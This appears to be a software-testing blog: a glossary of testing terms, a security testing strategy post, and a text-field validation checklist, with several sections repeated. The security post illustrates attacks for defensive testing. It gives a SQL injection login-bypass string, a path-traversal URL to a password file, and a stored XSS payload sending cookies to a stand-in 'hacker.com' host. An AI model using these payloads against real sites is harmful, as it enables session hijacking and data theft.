Acceptance Testing: Testing conducted to enable a user/customer to determine whether to accept a software product. Normally performed to validate the software meets a set of agreed acceptance criteria.
Accessibility Testing: Verifying a product is accessible to the people having disabilities (deaf, blind, mentally disabled etc.).
Ad Hoc Testing: A testing phase where the tester tries to 'break' the system by randomly trying the system's functionality. Can include negative testing as well. See also Monkey Testing.
Agile Testing: Testing practice for projects using agile methodologies, treating development as the customer of testing and emphasizing a test-first design paradigm. See also Test Driven Development.
Application Binary Interface (ABI): A specification defining requirements for portability of applications in binary forms across different system platforms and environments.
Application Programming Interface (API): A formalized set of software calls and routines that can be referenced by an application program in order to access supporting system or network services.
Automated Software Quality (ASQ): The use of software tools, such as automated testing tools, to improve software quality.
Automated Testing:
Testing employing software tools, which execute tests without manual intervention. Can be applied in GUI, performance, API, etc. testing.
The use of software to control the execution of tests, the comparison of actual outcomes to predicted outcomes, the setting up of test preconditions, and other test control and test reporting functions.
Backus-Naur Form: A meta-language used to formally describe the syntax of a language.
Basic Block: A sequence of one or more consecutive, executable statements containing no branches.
Basis Path Testing: A white box test case design technique that uses the algorithmic flow of the program to design tests.
Basis Set: The set of tests derived using basis path testing.
Baseline: The point at which some deliverable produced during the software engineering process is put under formal change control.
Beta Testing: Testing of a re-release of a software product conducted by customers.
Binary Portability Testing: Testing an executable application for portability across system platforms and environments, usually for conformation to an ABI specification.
Black Box Testing: Testing based on an analysis of the specification of a piece of software without reference to its internal workings. The goal is to test how well the component conforms to the published requirements for the component.
Bottom Up Testing: An approach to integration testing where the lowest level components are tested first, then used to facilitate the testing of higher-level components. The process is repeated until the component at the top of the hierarchy is tested.
Boundary Testing: Test, which focus on the boundary or limit conditions of the software being tested. (Some of these tests are stress tests).
Bug: A fault in a program, which causes the program to perform in an unintended or unanticipated manner.
Boundary Value Analysis: BVA is similar to Equivalence Partitioning but focuses on "corner cases" or values that are usually out of range as defined by the specification. This means that if a function expects all values in range of negative 100 to positive 1000, test inputs would include negative 101 and positive 1001.
Branch Testing: Testing in which all branches in the program source code are tested at least once.
Breadth Testing: A test suite that exercises the full functionality of a product but does not test features in detail.
CAST: Computer Aided Software Testing.
Capture/Replay Tool: A test tool that records test input as it is sent to the software under test. The input cases stored can then be used to reproduce the test at a later time. Most commonly applied to GUI test tools.
CMM: The Capability Maturity Model for Software (CMM or SW-CMM) is a model for judging the maturity of the software processes of an organization and for identifying the key practices that are required to increase the maturity of these processes.
Cause Effect Graph: A graphical representation of inputs and the associated outputs effects, which can be used to design test cases.
Code Complete: Phase of development where functionality is implemented in entirety; bug fixes are all that are left. All functions found in the Functional Specifications have been implemented.
Code Coverage: An analysis method that determines which parts of the software have been executed (covered) by the test case suite and which parts have not been executed and therefore may require additional attention.
Code Inspection: A formal testing technique where the programmer reviews source code with a group who ask questions analyzing the program logic, analyzing the code with respect to a checklist of historically common programming errors, and analyzing its compliance with coding standards.
Code Walkthrough: A formal testing technique where source code is traced by a group with a small set of test cases, while the state of program variables is manually monitored, to analyze the programmer's logic and assumptions.
Coding: The generation of source code.
Compatibility Testing: Testing whether software is compatible with other elements of a system with which it should operate, e.g. browsers, Operating Systems, or hardware.
Component: A minimal software item for which a separate specification is available.
Component Testing: See Unit Testing.
Concurrency Testing: Multi-user testing geared towards determining the effects of accessing the same application code, module or database records. Identifies and measures the level of locking, deadlocking and use of single-threaded code and locking semaphores.
Conformance Testing: The process of testing that an implementation conforms to the specification on which it is based. Usually applied to testing conformance to a formal standard.
Context Driven Testing: The context-driven school of software testing is flavor of Agile Testing that advocates continuous and creative evaluation of testing opportunities in light of the potential information revealed and the value of that information to the organization right now.
Conversion Testing: Testing of programs or procedures used to convert data from existing systems for use in replacement systems.
Cyclomatic Complexity: A measure of the logical complexity of an algorithm, used in white-box testing.
Data Dictionary: A database that contains definitions of all data items defined during analysis.
Data Flow Diagram: A modeling notation that represents a functional decomposition of a system.
Data Driven Testing: Testing in which the action of a test case is parameterized by externally defined data values, maintained as a file or spreadsheet. A common technique in Automated Testing.
Debugging: The process of finding and removing the causes of software failures.
Defect: Nonconformance to requirements or functional / program specification
Dependency Testing: Examines an application's requirements for pre-existing software, initial states and configuration in order to maintain proper functionality.
Depth Testing: A test that exercises a feature of a product in full detail.
Dynamic Testing: Testing software through executing it. See also Static Testing.
Emulator: A device, computer program, or system that accepts the same inputs and produces the same outputs as a given system.
Endurance Testing: Checks for memory leaks or other problems that may occur with prolonged execution.
End-to-End testing: Testing a complete application environment in a situation that mimics real-world use, such as interacting with a database, using network communications, or interacting with other hardware, applications, or systems if appropriate.
Equivalence Class: A portion of a component's input or output domains for which the component's behaviour is assumed to be the same from the component's specification.
Equivalence Partitioning: A test case design technique for a component in which test cases are designed to execute representatives from equivalence classes.
Exhaustive Testing: Testing which covers all combinations of input values and preconditions for an element of the software under test.
Functional Decomposition: A technique used during planning, analysis and design; creates a functional hierarchy for the software.
Functional Specification: A document that describes in detail the characteristics of the product with regard to its intended features.
Functional Testing: See also Black Box Testing.
Testing the features and operational behavior of a product to ensure they correspond to its specifications.
Testing that ignores the internal mechanism of a system or component and focuses solely on the outputs generated in response to selected inputs and execution conditions.
Glass Box Testing: A synonym for White Box Testing.
Gorilla Testing: Testing one particular module, functionality heavily.
Gray Box Testing: A combination of Black Box and White Box testing methodologies: testing a piece of software against its specification but using some knowledge of its internal workings.
High Order Tests: Black-box tests conducted once the software has been integrated.
Independent Test Group (ITG): A group of people whose primary responsibility is software testing,
Inspection: A group review quality improvement process for written material. It consists of two aspects; product (document itself) improvement and process improvement (of both document production and inspection).
Integration Testing: Testing of combined parts of an application to determine if they function together correctly. Usually performed after unit and functional testing. This type of testing is especially relevant to client/server and distributed systems.
Installation Testing: Confirms that the application under test recovers from expected or unexpected events without loss of data or functionality. Events can include shortage of disk space, unexpected loss of communication, or power out conditions.
Load Testing: See Performance Testing.
Localization Testing: This term refers to making software specifically designed for a specific locality.
Loop Testing: A white box testing technique that exercises program loops.
Metric: A standard of measurement. Software metrics are the statistics describing the structure or content of a program. A metric should be a real objective measurement of something such as number of bugs per lines of code.
Monkey Testing: Testing a system or an Application on the fly, i.e. just few tests here and there to ensure the system or an application does not crash out.
Negative Testing: Testing aimed at showing software does not work. Also known as "test to fail".
See also Positive Testing.
Path Testing: Testing in which all paths in the program source code are tested at least once.
Performance Testing: Testing conducted to evaluate the compliance of a system or component with specified performance requirements. Often this is performed using an automated test tool to simulate large number of users. Also know as "Load Testing".
Positive Testing: Testing aimed at showing software works. Also known as "test to pass". See also Negative Testing.
Quality Assurance: All those planned or systematic actions necessary to provide adequate confidence that a product or service is of the type and quality needed and expected by the customer.
Quality Audit: A systematic and independent examination to determine whether quality activities and related results comply with planned arrangements and whether these arrangements are implemented effectively and are suitable to achieve objectives.
Quality Circle: A group of individuals with related interests that meet at regular intervals to consider problems or other matters related to the quality of outputs of a process and to the correction of problems or to the improvement of quality.
Quality Control: The operational techniques and the activities used to fulfill and verify requirements of quality.
Quality Management: That aspect of the overall management function that determines and implements the quality policy.
Quality Policy: The overall intentions and direction of an organization as regards quality as formally expressed by top management.
Quality System: The organizational structure, responsibilities, procedures, processes, and resources for implementing quality management.
Race Condition: A cause of concurrency problems. Multiple accesses to a shared resource, at least one of which is a write, with no mechanism used by either to moderate simultaneous access.
Ramp Testing: Continuously raising an input signal until the system breaks down.
Recovery Testing: Confirms that the program recovers from expected or unexpected events without loss of data or functionality. Events can include shortage of disk space, unexpected loss of communication, or power out conditions.
Regression Testing: Retesting a previously tested program following modification to ensure that faults have not been introduced or uncovered as a result of the changes made.
Release Candidate: A pre-release version, which contains the desired functionality of the final version, but which needs to be tested for bugs (which ideally should be removed before the final version is released).
Sanity Testing: Brief test of major functional elements of a piece of software to determine if it’s basically operational. See also Smoke Testing.
Scalability Testing: Performance testing focused on ensuring the application under test gracefully handles increases in workload.
Security Testing: Testing which confirms that the program can restrict access to authorized personnel and that the authorized personnel can access the functions available to their security level.
Smoke Testing: A quick-and-dirty test that the major functions of a piece of software work. Originated in the hardware testing practice of turning on a new piece of hardware for the first time and considering it a success if it does not catch on fire.
Soak Testing: Running a system at high load for a prolonged period of time. For example, running several times more transactions in an entire day (or night) than would be expected in a busy day, to identify and performance problems that appear after a large number of transactions have been executed.
Software Requirements Specification (SRS): A deliverable that describes all data, functional and behavioral requirements, all constraints, and all validation requirements for software/ Software Testing: A set of activities conducted with the intent of finding errors in software.
Static Analysis: Analysis of a program carried out without executing the program.
Static Analyzer: A tool that carries out static analysis.
Static Testing: Analysis of a program carried out without executing the program.
Storage Testing: Testing that verifies the program under test stores data files in the correct directories and that it reserves sufficient space to prevent unexpected termination resulting from lack of space. This is external storage as opposed to internal storage.
Stress Testing: Testing conducted to evaluate a system or component at or beyond the limits of its specified requirements to determine the load under which it fails and how. Often this is performance testing using a very high level of simulated load.
Structural Testing: Testing based on an analysis of internal workings and structure of a piece of software. See also White Box Testing.
System Testing: Testing that attempts to discover defects that are properties of the entire system rather than of its individual components.
Testability: The degree to which a system or component facilitates the establishment of test criteria and the performance of tests to determine whether those criteria have been met.
Testing:
The process of exercising software to verify that it satisfies specified requirements and to detect errors.
The process of analyzing a software item to detect the differences between existing and required conditions (that is, bugs), and to evaluate the features of the software item (Ref. IEEE Std 829).
The process of operating a system or component under specified conditions, observing or recording the results, and making an evaluation of some aspect of the system or component.
Test Automation: See Automated Testing.
Test Bed: An execution environment configured for testing. May consist of specific hardware, OS, network topology, configuration of the product under test, other application or system software, etc. The Test Plan for a project should enumerated the test beds(s) to be used.
Test Case: Test Case is a commonly used term for a specific test. This is usually the smallest unit of testing. A Test Case will consist of information such as requirements testing, test steps, verification steps, prerequisites, outputs, test environment, etc.
A set of inputs, execution preconditions, and expected outcomes developed for a particular objective, such as to exercise a particular program path or to verify compliance with a specific requirement.
Test Driven Development: Testing methodology associated with Agile Programming in which every chunk of code is covered by unit tests, which must all pass all the time, in an effort to eliminate unit-level and regression bugs during development. Practitioners of TDD write a lot of tests, i.e. an equal number of lines of test code to the size of the production code.
Test Driver: A program or test tool used to execute tests. Also knows as a Test Harness.
Test Environment: The hardware and software environment in which tests will be run, and any other software with which the software under test interacts when under test including stubs and test drivers.
Test First Design: Test-first design is one of the mandatory practices of Extreme Programming (XP). It requires that programmers do not write any production code until they have first written a unit test.
Test Harness: A program or test tool used to execute tests. Also knows as a Test Driver.
Test Plan: A document describing the scope, approach, resources, and schedule of intended testing activities. It identifies test items, the features to be tested, the testing tasks, who will do each task, and any risks requiring contingency planning. Ref IEEE Std 829.
Test Procedure: A document providing detailed instructions for the execution of one or more test cases.
Test Script: Commonly used to refer to the instructions for a particular test that will be carried out by an automated test tool.
Test Specification: A document specifying the test approach for a software feature or combination or features and the inputs, predicted results and execution conditions for the associated tests.
Test Suite: A collection of tests used to validate the behavior of a product. The scope of a Test Suite varies from organization to organization. There may be several Test Suites for a particular product for example. In most cases however a Test Suite is a high level concept, grouping together hundreds or thousands of tests related by what they are intended to test.
Test Tools: Computer programs used in the testing of a system, a component of the system, or its documentation.
Thread Testing: A variation of top-down testing where the progressive integration of components follows the implementation of subsets of the requirements, as opposed to the integration of components by successively lower levels.
Top Down Testing: An approach to integration testing where the component at the top of the component hierarchy is tested first, with lower level components being simulated by stubs. Tested components are then used to test lower level components. The process is repeated until the lowest level components have been tested.
Total Quality Management: A company commitment to develop a process that achieves high quality product and customer satisfaction.
Traceability Matrix: A document showing the relationship between Test Requirements and Test Cases.
Usability Testing: Testing the ease with which users can learn and use a product.
Unit Testing: Testing of individual software components.
Validation: The process of evaluating software at the end of the software development process to ensure compliance with software requirements. The techniques for validation is testing, inspection and reviewing.
Verification: The process of determining whether of not the products of a given phase of the software development cycle meet the implementation steps and can be traced to the incoming objectives established during the previous phase. The techniques for verification are testing, inspection and reviewing.
Volume Testing: Testing which confirms that any values that may become large over time (such as accumulated counts, logs, and data files), can be accommodated by the program and will not cause the program to stop working or degrade its operation in any manner.
Walkthrough: A review of requirements, designs or code characterized by the author of the material under review guiding the progression of the review.
White Box Testing: Testing based on an analysis of internal workings and structure of a piece of software. Includes techniques such as Branch Testing and Path Testing. Also knows as Structural Testing and Glass Box Testing. Contrast with Black Box Testing.
Workflow Testing: Scripted end-to-end testing which duplicates specific workflows, which are expected to be utilized by the end-user.
Monday, March 29, 2010
Application Security Testing Generic Test Strategy
1.1 Purpose:
This document will provide the generic testing guidelines for Application security testing. It talks about the common vulnerabilities in the system and how to find out those in early phase of SDLC. It will also take about the security overheads and performance of system because of it. Even if your application is not susceptible to security threats it is better to know and act on it.It is beyond the scope of this document to go into in depth of each of the vulnerabilities and process to test this.
1.2 Application Security Testing:
Application security testing is defined as a process of identifying the various vulnerabilities in a system which are exposed because of improper design or coding issues.Application level threat cannot be avoided by network firewalls as data comes in HTTP request which these firewalls let pass. So it becomes even more important to handle the security when it applies application level than what happens at Network levels
2 Audience
This document address the testing needs of software security tester and also to test analyst and managers who wanted to accommodate security testing in their test process. Although, this document doesn’t provide the complete list of all the vulnerabilities it is worth the read for those moving into security testing arena.
3 Test Strategy guidelines
Testing for application security is not going to be easy as vulnerabilities cannot be detected by firewalls .Also the vulnerabilities list is huge enough so considering the amount of time and effort it will require it also not possible to test and check the code for all vulnerabilities. Test should be designed considering the following points
Probability of occurrence of event
Risk associated with each occurrence
The different vulnerabilities for which web application should be tested are as follows:
Authentication
Session Management
SQL Injection
Error handling
Cross Site scripting
Anti-Automation
3.1 Authentication
The different attacks that can occur are:
3.1.1 User guesses the password:
Some websites allows user to register with weak password. The weak password can be one of dictionary word, user of either lower or upper case only, only alphabets, small length password.
Scenario: Website registration page
Tests: Test needs to be designed to check the complexity. Test needs to be designed to check password confirms to required length with combination of lower and upper case and special keywords. Test needs to there to check that password doesn’t belong to dictionary.
3.1.2 Brute force attack:
Some websites doesn’t allow the account lockout features in case wrong information is entered for more than few attempts. It allows the Brute Force attack, which is an automated process of trial and error to guess the person username, password and credit card numbers.
Scenario: User login page
Tests: Test to check account lockout happens after few unsuccessful attempts. Test to check the error message displayed doesn’t tells which part of authentication credentials are incorrect. Test to check the status failure or success is reported after few seconds once the user enters the credentials.
3.1.3 Password recovery validation
The attack happens when the attacker illegally obtain, change another users password.
Scenario: Change/Forgotten password screen
Tests: Test must be done to ensure that change password screen have old password field mandatory. Test to ensure that password field doesn’t have Auto complete feature “ON” .Test to check the new password is not displayed in the screen but is send to user mail id. Test to see that account gets locked if user tried to enter old password incorrect for more than 3 attempts.
3.2 Session Management
Session management is necessary to maintain the identity of user across multiple requests. Cookies are information which is stored on client machine by web server. They are basically name-value pair which website uses to retrieve data when user visits the site again or across requests. Attackers can tamper this data to acquire information. The various attacks that can happen are:-
3.2.1 Insufficient Session Expiration
The application allows the attacker to reuse the old session IDs. All it needs for an attacker is to know the old session id and he can reuse the same.
Scenario: All application pages
Test: Test must be done to make sure, application logs off or session is expired after some time.
3.2.2 Session hijacking
If session ids are predictable, it is possibility that attacker can guess the session id and can use it.
Scenario: Any page after login
Test: Test should be done to check whether session ids are predictable. Test to check multiple session of same user is not allowed. Test to check important data is transferred using HTTPS protocol.
3.3 SQL Injection
SQL injection attacks exploit the web application which user the client input to dynamically create the SQL query to provide the data. This is a case where all inputs should be considered as evil until otherwise proved.
Scenario: Log-in page
Select user_id from login where username =’$username’ and password = ‘$password’
Inputs: username =’Amir’ OR ‘1=1’;--
Password:
When this query is generated dynamically only the part before password is generated with OR condition of 1=1 which is always true and password is commented.
Test: Test needs to be done to check all inputs are properly validated no special characters are allowed. Test needs to be done that server side validation is done. Test needs to be done that stored procedure are user and dynamic SQL queries are not used.
3.4 Error handling
It is common mistake from developer that errors are not handled properly and lot of information is disclosed and leads to information disclosure attack. The various attacks that can happen are:-
3.4.1 Path traversal
Techniques used to access the files and folder which are outside the web root directory.
Scenario: Accessing the password file from the server
If you have a website http://foo.com/foo.html , just change the URL to point to some file which is not present for example http://foo.com/notavailablt.html if the error message thrown is something like file notavailable.html is not present in C:\test\webapp. Then error message has disclosed very important information to the attacker showing the directory structure of web server. This can be exploited by an attacker for accessing files and folders that resides outside the root directory.
http://www.foo.com/vivek/vivek.cgi?page=../confidential_folder/password.txt
Test: Test needs to be designed to validate the proper access control mechanism on the server. Test should be done so that error message doesn’t reveal too much of information. Test to validate the input URL.
3.4.2 Predictable resource location
Technique used to gain access to hidden content. The reason is most of the time application follow a similar folder structure and file naming convention which makes the content more predictable.
Scenario: use of sequential files in a folder for example
http://www.foo.com/vivek/myfiles/file1.txt
http://www.foo.com/vivek/myfiles/file2.txt
http://www.foo.com/vivek/myfiles/file3.txt
Test: Test needs to design to check files are not stored in sequential manner. Test for access control mechanism. Test for predictable folder structure and files within them.
3.5 Cross-Site Scripting
In this the malicious script is executed on the client side. This happens when server side validation is not done for the input fields. The different attacks that can happen are:-
3.5.1 Echo-type Cross scripting
In this the input is entered in some fields on the client machine which is echoed back from the server.
Scenario: User registration page
Input: One of the fields in the form can be credit card number where proper validation is not done from server side. We can give the input . When the form is submitted, the server echoes back and the script is executed showing the dialog box “Hello World’
Test: Test needs to be done so that proper validation is done from the server side. Test to check the inputs doesn’t accepts the special character like <>. Test to check the input is encoded < ; for < if required.
3.5.2 Stored Cross scripting
In this type of attack, the message is stored in the server without proper validation and when clicked on the message link, the user is redirected to some other page and this can result in session ID hijacking.
Scenario: Mail forum
Input: The mail is stored in the server with input < script > document.location.replace ('http://hacker.com/steal.cgi?'+document.cookie) ;< /script> "> . This redirects the user to attacker site and the cookie is stolen.
Test: Test needs to check scripting is allowed or not. Test for input validation so that it doesn’t contain special characters. Special characters are encoded.
3.6 Anti-Automation
Insufficient anti-automation attack is when a web site permits an attacker to automate a process that should be performed manually. This can even result in denial of service for some functionality.
Scenario: User registration page
Test: Test needs to be done so that registration process cannot be automated, it should include the manual entry also. Test to see if CAPTCHA is used. Test for avoiding Brute force attack.
4 Test Environment
Testing should be carried out in development and test environment. The penetration testing should be carried out without the intention to exploit the system for personal gains. A large number of freeware tools are available for black box penetration testing. Test should be carried out on manual and automated basis
4.1 Tools:
The various tools used for black box security testing are:
Paros, Tamper IE, Web scrap all these tools can be used to tamper the http request and response output and can help in identifying the vulnerabilities in the system
This document will provide the generic testing guidelines for Application security testing. It talks about the common vulnerabilities in the system and how to find out those in early phase of SDLC. It will also take about the security overheads and performance of system because of it. Even if your application is not susceptible to security threats it is better to know and act on it.It is beyond the scope of this document to go into in depth of each of the vulnerabilities and process to test this.
1.2 Application Security Testing:
Application security testing is defined as a process of identifying the various vulnerabilities in a system which are exposed because of improper design or coding issues.Application level threat cannot be avoided by network firewalls as data comes in HTTP request which these firewalls let pass. So it becomes even more important to handle the security when it applies application level than what happens at Network levels
2 Audience
This document address the testing needs of software security tester and also to test analyst and managers who wanted to accommodate security testing in their test process. Although, this document doesn’t provide the complete list of all the vulnerabilities it is worth the read for those moving into security testing arena.
3 Test Strategy guidelines
Testing for application security is not going to be easy as vulnerabilities cannot be detected by firewalls .Also the vulnerabilities list is huge enough so considering the amount of time and effort it will require it also not possible to test and check the code for all vulnerabilities. Test should be designed considering the following points
Probability of occurrence of event
Risk associated with each occurrence
The different vulnerabilities for which web application should be tested are as follows:
Authentication
Session Management
SQL Injection
Error handling
Cross Site scripting
Anti-Automation
3.1 Authentication
The different attacks that can occur are:
3.1.1 User guesses the password:
Some websites allows user to register with weak password. The weak password can be one of dictionary word, user of either lower or upper case only, only alphabets, small length password.
Scenario: Website registration page
Tests: Test needs to be designed to check the complexity. Test needs to be designed to check password confirms to required length with combination of lower and upper case and special keywords. Test needs to there to check that password doesn’t belong to dictionary.
3.1.2 Brute force attack:
Some websites doesn’t allow the account lockout features in case wrong information is entered for more than few attempts. It allows the Brute Force attack, which is an automated process of trial and error to guess the person username, password and credit card numbers.
Scenario: User login page
Tests: Test to check account lockout happens after few unsuccessful attempts. Test to check the error message displayed doesn’t tells which part of authentication credentials are incorrect. Test to check the status failure or success is reported after few seconds once the user enters the credentials.
3.1.3 Password recovery validation
The attack happens when the attacker illegally obtain, change another users password.
Scenario: Change/Forgotten password screen
Tests: Test must be done to ensure that change password screen have old password field mandatory. Test to ensure that password field doesn’t have Auto complete feature “ON” .Test to check the new password is not displayed in the screen but is send to user mail id. Test to see that account gets locked if user tried to enter old password incorrect for more than 3 attempts.
3.2 Session Management
Session management is necessary to maintain the identity of user across multiple requests. Cookies are information which is stored on client machine by web server. They are basically name-value pair which website uses to retrieve data when user visits the site again or across requests. Attackers can tamper this data to acquire information. The various attacks that can happen are:-
3.2.1 Insufficient Session Expiration
The application allows the attacker to reuse the old session IDs. All it needs for an attacker is to know the old session id and he can reuse the same.
Scenario: All application pages
Test: Test must be done to make sure, application logs off or session is expired after some time.
3.2.2 Session hijacking
If session ids are predictable, it is possibility that attacker can guess the session id and can use it.
Scenario: Any page after login
Test: Test should be done to check whether session ids are predictable. Test to check multiple session of same user is not allowed. Test to check important data is transferred using HTTPS protocol.
3.3 SQL Injection
SQL injection attacks exploit the web application which user the client input to dynamically create the SQL query to provide the data. This is a case where all inputs should be considered as evil until otherwise proved.
Scenario: Log-in page
Select user_id from login where username =’$username’ and password = ‘$password’
Inputs: username =’Amir’ OR ‘1=1’;--
Password:
When this query is generated dynamically only the part before password is generated with OR condition of 1=1 which is always true and password is commented.
Test: Test needs to be done to check all inputs are properly validated no special characters are allowed. Test needs to be done that server side validation is done. Test needs to be done that stored procedure are user and dynamic SQL queries are not used.
3.4 Error handling
It is common mistake from developer that errors are not handled properly and lot of information is disclosed and leads to information disclosure attack. The various attacks that can happen are:-
3.4.1 Path traversal
Techniques used to access the files and folder which are outside the web root directory.
Scenario: Accessing the password file from the server
If you have a website http://foo.com/foo.html , just change the URL to point to some file which is not present for example http://foo.com/notavailablt.html if the error message thrown is something like file notavailable.html is not present in C:\test\webapp. Then error message has disclosed very important information to the attacker showing the directory structure of web server. This can be exploited by an attacker for accessing files and folders that resides outside the root directory.
http://www.foo.com/vivek/vivek.cgi?page=../confidential_folder/password.txt
Test: Test needs to be designed to validate the proper access control mechanism on the server. Test should be done so that error message doesn’t reveal too much of information. Test to validate the input URL.
3.4.2 Predictable resource location
Technique used to gain access to hidden content. The reason is most of the time application follow a similar folder structure and file naming convention which makes the content more predictable.
Scenario: use of sequential files in a folder for example
http://www.foo.com/vivek/myfiles/file1.txt
http://www.foo.com/vivek/myfiles/file2.txt
http://www.foo.com/vivek/myfiles/file3.txt
Test: Test needs to design to check files are not stored in sequential manner. Test for access control mechanism. Test for predictable folder structure and files within them.
3.5 Cross-Site Scripting
In this the malicious script is executed on the client side. This happens when server side validation is not done for the input fields. The different attacks that can happen are:-
3.5.1 Echo-type Cross scripting
In this the input is entered in some fields on the client machine which is echoed back from the server.
Scenario: User registration page
Input: One of the fields in the form can be credit card number where proper validation is not done from server side. We can give the input . When the form is submitted, the server echoes back and the script is executed showing the dialog box “Hello World’
Test: Test needs to be done so that proper validation is done from the server side. Test to check the inputs doesn’t accepts the special character like <>. Test to check the input is encoded < ; for < if required.
3.5.2 Stored Cross scripting
In this type of attack, the message is stored in the server without proper validation and when clicked on the message link, the user is redirected to some other page and this can result in session ID hijacking.
Scenario: Mail forum
Input: The mail is stored in the server with input < script > document.location.replace ('http://hacker.com/steal.cgi?'+document.cookie) ;< /script> "> . This redirects the user to attacker site and the cookie is stolen.
Test: Test needs to check scripting is allowed or not. Test for input validation so that it doesn’t contain special characters. Special characters are encoded.
3.6 Anti-Automation
Insufficient anti-automation attack is when a web site permits an attacker to automate a process that should be performed manually. This can even result in denial of service for some functionality.
Scenario: User registration page
Test: Test needs to be done so that registration process cannot be automated, it should include the manual entry also. Test to see if CAPTCHA is used. Test for avoiding Brute force attack.
4 Test Environment
Testing should be carried out in development and test environment. The penetration testing should be carried out without the intention to exploit the system for personal gains. A large number of freeware tools are available for black box penetration testing. Test should be carried out on manual and automated basis
4.1 Tools:
The various tools used for black box security testing are:
Paros, Tamper IE, Web scrap all these tools can be used to tamper the http request and response output and can help in identifying the vulnerabilities in the system
Saturday, March 6, 2010
Traditional Testing Cycle
Let us look at the traditional Software Development life cycle. The figure below depicts the same.
In the above diagram (Fig A), the Testing phase comes after the Coding is complete and before the product is launched and goes into maintenance.
But, the recommended test process involves testing in every phase of the life cycle (Fig B). During the requirement phase, the emphasis is upon validation to determine that the defined requirements meet the needs of the project. During the design and program phases, the emphasis is on verification to ensure that the design and programs accomplish the defined requirements. During the test and installation phases, the emphasis is on inspection to determine that the implemented system meets the system specification.
The chart below describes the Life Cycle verification activities.
Throughout the entire lifecycle, neither development nor verification is a straight-line activity. Modifications or corrections to a structure at one phase will require modifications or re-verification of structures produced during previous phases.
In the above diagram (Fig A), the Testing phase comes after the Coding is complete and before the product is launched and goes into maintenance.
But, the recommended test process involves testing in every phase of the life cycle (Fig B). During the requirement phase, the emphasis is upon validation to determine that the defined requirements meet the needs of the project. During the design and program phases, the emphasis is on verification to ensure that the design and programs accomplish the defined requirements. During the test and installation phases, the emphasis is on inspection to determine that the implemented system meets the system specification.
The chart below describes the Life Cycle verification activities.
Throughout the entire lifecycle, neither development nor verification is a straight-line activity. Modifications or corrections to a structure at one phase will require modifications or re-verification of structures produced during previous phases.
What are the points that should be taken Care for validating a Text Box?
Validation Criteria for Test /String Fields
While checking a text field following points should be taken in to consideration
1. Aesthetic (Visual) Conditions
2. Validation Conditions
3. Navigation Conditions
4. Usability Conditions
5. Data Integrity Conditions
6. Modes (Editable Read-only) Conditions
7. General Conditions
8. Specific Field Tests
8.1. Date Field Checks
8.2. Numeric Fields
8.3. Alpha Field Checks
1. Aesthetic Conditions
•Check that the text field has a caption.
•The label is not editable.
•Check the spelling of the label.
•Move the Mouse Cursor over all Enterable Text Boxes. Cursor should change from arrow to Insert Bar
•If it doesn't then the text in the box should be grey or non-updateable.
•Are the field prompts the correct color?
•Are the field backgrounds the correct color?
•In read-only mode, are the field prompts the correct color?
•In read-only mode, are the field backgrounds the correct color?
•Are all the field prompts aligned perfectly on the screen?
•Are all the field edits boxes aligned perfectly on the screen?
•Are all the field prompts spelt correctly?
•Are all character or alpha-numeric fields left justified? This is the default unless otherwise specified.
•Are all numeric fields right justified? This is the default unless otherwise specified.
•Is all the micro help text spelt correctly on this screen?
•Is all the error message text spelt correctly on this screen?
•Is all users input captured in UPPER case or lower case consistently?
•Assure that the password entered is visible in encrypted format.
2. Validation Conditions
•Does a failure of validation on every field cause a sensible user error message?
•Is the user required to fix entries which have failed validation tests?
•Have any fields got multiple validation rules and if so are all rules being applied?
•If the user enters an invalid value and clicks on the OK button (i.e. does not TAB off the field) is the invalid entry identified and highlighted correctly with an error message?
•Validation consistently applied at screen level unless specifically required at field level?
•For all numeric fields check whether negative numbers can and should be able to be entered.
•For all numeric fields check the minimum and maximum values and also some mid-range values
allowable?
•For all character/alphanumeric fields check the field to ensure that there is a character limit specified and that this limit is exactly correct for the specified database size?
•Do all mandatory fields require user input?
3. Navigation Conditions
•Does the Tab Order specified on the screen go in sequence from Top Left to bottom right? This is the default unless otherwise specified.
4. Usability Condition
•Is all date entry required in the correct format?
•Are all read-only fields avoided in the TAB sequence?
•Are all disabled fields avoided in the TAB sequence?
•Can the cursor be placed in the micro help text box by clicking on the text box with the mouse?
•Can the cursor be placed in read-only fields by clicking in the field with the mouse?
•Is the cursor positioned in the first input field or control when the screen is opened?
•SHIFT and Arrow should Select Characters. Selection should also be possible with mouse. Double Click should select all text in box.
5. Data Integrity Conditions
•Check the maximum field lengths to ensure that there are no truncated characters?
•Where the database requires a value (other than null) then this should be defaulted into fields. The user must either enter an alternative valid value or leave the default value intact.
•Check maximum and minimum field values for numeric fields?
•If numeric fields accept negative values can these be stored correctly on the database and does it make sense for the field to accept negative numbers?
•If a particular set of data is saved to the database check that each value gets saved fully to the database. i.e. Beware of truncation (of strings) and rounding of numeric values.
6. Modes (Editable Read-only) Conditions
•Are the screen and field colors adjusted correctly for read-only mode?
•Are all fields and controls disabled in read-only mode?
•Check that no validation is performed in read-only mode.
7. General Conditions
•Assure that the Tab key sequence which traverses the screens does so in a logical way.
•Errors on continue will cause user to be returned to the tab and the focus should be on the field causing the error. (i.e. the tab is opened, highlighting the field with the error on it)
•All fonts to be the same
8. Specific Field Tests
8.1. Date Field Checks
•Assure that leap years are validated correctly & do not cause errors/miscalculations
•Assure that month code 00 and 13 are validated correctly & do not cause errors/miscalculations
•Assure that 00 and 13 are reported as errors
•Assure that day values 00 and 32 are validated correctly & do not cause errors/miscalculations
•Assure that Feb. 28, 29, 30 are validated correctly & do not cause errors/ miscalculations
•Assure that Feb. 30 is reported as an error
•Assure that century change is validated correctly & does not cause errors/ miscalculations
•Assure that out of cycle dates are validated correctly & do not cause errors/miscalculations
8.2. Numeric Fields
•Assure that lowest and highest values are handled correctly
•Assure that invalid values are logged and reported
•Assure that valid values are handles by the correct procedure
•Assure that numeric fields with a blank in position 1 are processed or reported as an error
•Assure that fields with a blank in the last position are processed or reported as an error an error
•Assure that both + and - values are correctly processed
•Assure that division by zero does not occur
•Include value zero in all calculations
•Include at least one in-range value
•Include maximum and minimum range values
•Include out of range values above the maximum and below the minimum
•Assure that upper and lower values in ranges are handled correctly
8.3. Alpha Field Checks
•Use blank and non-blank data
•Include lowest and highest values
•Include invalid characters & symbols
•Include valid characters
•Include data items with first position blank
•Include data items with last position blank
•Use html tags.
While checking a text field following points should be taken in to consideration
1. Aesthetic (Visual) Conditions
2. Validation Conditions
3. Navigation Conditions
4. Usability Conditions
5. Data Integrity Conditions
6. Modes (Editable Read-only) Conditions
7. General Conditions
8. Specific Field Tests
8.1. Date Field Checks
8.2. Numeric Fields
8.3. Alpha Field Checks
1. Aesthetic Conditions
•Check that the text field has a caption.
•The label is not editable.
•Check the spelling of the label.
